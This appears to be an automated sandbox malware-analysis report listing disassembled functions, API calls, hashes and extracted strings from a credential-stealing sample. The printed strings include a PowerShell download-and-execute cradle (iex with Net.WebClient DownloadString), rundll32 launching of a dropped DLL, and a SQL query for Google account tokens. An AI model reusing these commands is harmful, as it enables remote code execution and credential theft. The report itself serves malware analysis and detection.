Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: 1f8abbd26108f0ef2311e041ace06fbd39924b380e1fc4c6b76a26dffe1033a9
Instruction ID: 75f0551be4c61d3a7f8c4efdeb9f23ca5b057655b53c32c62cc9a363b78865c2
Opcode Fuzzy Hash: 1f8abbd26108f0ef2311e041ace06fbd39924b380e1fc4c6b76a26dffe1033a9
Instruction Fuzzy Hash: 1B81A332D00119ABDF02FBA4ED469DDBBB4EF29305F524061F910B71A2DB71AE468F91

Function 00192DB0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

ShellExecuteEx.SHELL32(?), ref: 00192F00

Strings

C:\ProgramData\, xrefs: 00192DE3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00192E58
')", xrefs: 00192E53
.ps1, xrefs: 00192E33
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00192E9B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: 6a35eb19195bd90cc256e193a31a5490b649ada9fe487f900dc45db066f586a2
Instruction ID: 6de3917ab42fe9102ee335993e8e2e95e886e0910ffd072f9bf795196fb49121
Opcode Fuzzy Hash: 6a35eb19195bd90cc256e193a31a5490b649ada9fe487f900dc45db066f586a2
Instruction Fuzzy Hash: 39419531D002299BDF12FBA4EC829CDBBB4EF29704F5181A6F554B7152DB70AE468F90

Function 00195E39 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00195EC8

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

lstrcatA.KERNEL32(?,00000000), ref: 00195EE5
lstrcatA.KERNEL32(?,?), ref: 00195F04
lstrcatA.KERNEL32(?,?), ref: 00195F18
lstrcatA.KERNEL32(?), ref: 00195F2B
lstrcatA.KERNEL32(?,?), ref: 00195F3F
lstrcatA.KERNEL32(?), ref: 00195F52

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191D67: GetFileAttributesA.KERNEL32(?,?,?,0018DA54,?,?,?), ref: 00191D6E

Part of subcall function 00195B4D: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00195B72
Part of subcall function 00195B4D: HeapAlloc.KERNEL32(00000000), ref: 00195B79
Part of subcall function 00195B4D: wsprintfA.USER32 ref: 00195B92
Part of subcall function 00195B4D: FindFirstFileA.KERNEL32(?,?), ref: 00195BA9
Part of subcall function 00195B4D: StrCmpCA.SHLWAPI(?,001B6AA0), ref: 00195BCA
Part of subcall function 00195B4D: StrCmpCA.SHLWAPI(?,001B6AA4), ref: 00195BE4
Part of subcall function 00195B4D: wsprintfA.USER32 ref: 00195C0B
Part of subcall function 00195B4D: CopyFileA.KERNEL32(?,?,00000001), ref: 00195CC8
Part of subcall function 00195B4D: DeleteFileA.KERNEL32(?), ref: 00195CEB

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1546541418-0
Opcode ID: f0430a7123c5a2207239041def5f3b18dd37013914119af974f80e408bed90f9
Instruction ID: 7995d2d7a98edcd306b3a845332765a8db06e173911983d488f2447db2b39643
Opcode Fuzzy Hash: f0430a7123c5a2207239041def5f3b18dd37013914119af974f80e408bed90f9
Instruction Fuzzy Hash: F951C9B5A0011C9BCF65DB64DC85ADDB7F9AB4C310F4444E6FA09E3250EB70AB898F54

Function 0019FA72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0019FABB
DName::operator+.LIBCMT ref: 0019FAC2
DName::DName.LIBCMT ref: 0019FAE4
DName::operator+.LIBCMT ref: 0019FAEB
DName::operator+.LIBCMT ref: 0019FAF2

Strings

throw(, xrefs: 0019FAB3, 0019FADC

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: 1215b84ecf3e47d6f37de9e9d439bbc425903b9c90388ea284edf27c15c0c858
Instruction ID: f823cf4efe8886d1c4d70b3340e5b269aee4ba75cba35da78d3d6be22d07ca6d
Opcode Fuzzy Hash: 1215b84ecf3e47d6f37de9e9d439bbc425903b9c90388ea284edf27c15c0c858
Instruction Fuzzy Hash: 84019234640209BFCF04EBA4D846EEE7BB9EF54704F448069F505EB2A5DB70DA46C784

Function 00193299 Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 001932B8
StrCmpCA.SHLWAPI(00000000,001B67E0), ref: 001932F1
strtok_s.MSVCRT ref: 001933B1

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 1724f54abed4fd33d0a3431070f5284a64d576125f861060ecacf6f73e549b6b
Instruction ID: c8d5c50f98e8dadfc9b009d0d4fc9c581a17356ac923f845f59724d8295ad5f8
Opcode Fuzzy Hash: 1724f54abed4fd33d0a3431070f5284a64d576125f861060ecacf6f73e549b6b
Instruction Fuzzy Hash: C2319075E41205EFCF199FA4CC85B69BBACFF18705F22405AE816DB192DB34CB419B40

Function 001956AF Relevance: 9.1, APIs: 6, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001956E4
RegOpenKeyExA.ADVAPI32(80000001,00000000,00020119,?,?,00000000,?), ref: 00195704
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 0019572A
RegCloseKey.ADVAPI32(?), ref: 00195736
lstrcatA.KERNEL32(?,?), ref: 00195765
lstrcatA.KERNEL32(?), ref: 00195778

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID:
API String ID: 3891774339-0
Opcode ID: f1193a71893b2deb19e163e0aeee8481d6ca13d761e8279cd13d85c2d508ed82
Instruction ID: ea760a5551a83c3c3a437b8bd5600cfcb4387e36000a7777b5563e874c24ecea
Opcode Fuzzy Hash: f1193a71893b2deb19e163e0aeee8481d6ca13d761e8279cd13d85c2d508ed82
Instruction Fuzzy Hash: D3415B7298001DAFCF16AB24EC86EE9777DBB28300F0004A6B509A3161EF705E85CF90

Function 001929A2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

ShellExecuteEx.SHELL32(?), ref: 00192BC4

Strings

C:\ProgramData\, xrefs: 001929D5
C:\Windows\system32\rundll32.exe, xrefs: 00192B23
.dll, xrefs: 00192A2D
"" , xrefs: 00192A72

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 11177c928173af18e390ee26cbc14617d53fa21e473e9a15f238f5c44bc8c4b5
Instruction ID: 79345b9e935f392e680343a428a913c46b4bb7a8b31c42726cd5d413d694d95f
Opcode Fuzzy Hash: 11177c928173af18e390ee26cbc14617d53fa21e473e9a15f238f5c44bc8c4b5
Instruction Fuzzy Hash: 89719632D005299BDF12FFA4EC429CDB7B4AF29704F524061F960B7162DB70AE4A8F90

Function 0018826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 130memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0018830C
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 00188341

Strings

ERROR_V128, xrefs: 001882C3
v10, xrefs: 001882D3
v20, xrefs: 00188286

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_V128$v10$v20
API String ID: 52611349-1964637325
Opcode ID: e277b41c235d36b63d12e056cff5c7b4d2d9271189b348b55fb9c17cde10b90a
Instruction ID: f89f33d47bf028f031c911378068b663f93f63819689b20068009878a9d7ee17
Opcode Fuzzy Hash: e277b41c235d36b63d12e056cff5c7b4d2d9271189b348b55fb9c17cde10b90a
Instruction Fuzzy Hash: 1A41AF72A00118ABCB10EFA9DC419EE7BA9FF54B10F554525FD00E7280EB70EE458BA0

Function 0018F286 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0018F29C

Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECAA
Part of subcall function 001AEC95: __CxxThrowException@8.LIBCMT ref: 001AECBF
Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECD0

std::_Xinvalid_argument.LIBCPMT ref: 0018F2BB
_memmove.LIBCMT ref: 0018F2F5

Strings

invalid string position, xrefs: 0018F297
string too long, xrefs: 0018F2B6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
